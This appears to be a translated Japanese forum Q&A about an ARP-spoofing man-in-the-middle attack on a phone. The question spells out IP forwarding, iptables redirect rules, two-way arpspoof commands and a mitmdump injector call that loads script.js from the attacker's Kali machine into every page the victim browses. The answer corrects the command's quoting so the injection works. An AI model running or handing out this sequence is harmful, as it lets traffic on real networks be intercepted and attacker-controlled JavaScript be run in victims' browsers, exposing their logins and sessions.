ARPspoof設定を使用して携帯電話のトラフィックを傍受し、ページにJavaScriptヘッダーを挿入しようとしています。
始める前に、次のコマンドを入力しました。
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o wlan0 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
トラフィックを傍受するために、次のコマンドを入力しました。
sudo arpspoof -i wlan0 -t <phone_ip_here> <router_ip_here>
sudo arpspoof -i wlan0 -t <router_ip_here> <phone_ip_here>
電話が受信したすべてのWebページに含まれるJavaScriptファイルを展開するためにWebサーバーを起動しました。
WebサーバーはKaliシステムのIPポート8000でホストされています。
sudo python3 httpServer.py
最後に、mitmdumpを実行すると、次のエラーが発生します。
mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'
エラーメッセージ:
/usr/bin/mitmdump: No such script
以下を使用してmitmproxyを実行すると、私が何を間違っているのかわかりません。
mitmproxy -p 8080
トラフィックはmitmproxyにルーティングされますが、モバイルブラウザで400 Bad Requestエラーが発生し、mitmproxyはhttpプロトコルエラーを返します。
どんな助けやアドバイスでも暖かく歓迎します。
答え1
mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'
一重引用符に細心の注意を払ってください。 mitmdump オプションは、-s
実行するスクリプトの名前を指定します。ここでは、コンピュータにスクリプト名を効果的に伝えることができます。
injector.py<space>http://<kali_computer_ip>:8000/script.js
ファイル名injector.py
には特殊文字がないため、引用符で囲む必要はありません。一方、URLに疑問符やシェルに特別な意味を持つ他の文字が含まれている場合は、引用が必要になる場合があります。したがって、このコマンドを実行している現在のディレクトリにあると仮定すると、injector.py
次のように目的のタスクを実行できます。
mitmdump -s injector.py 'http://<kali_computer_ip>:8000/script.js'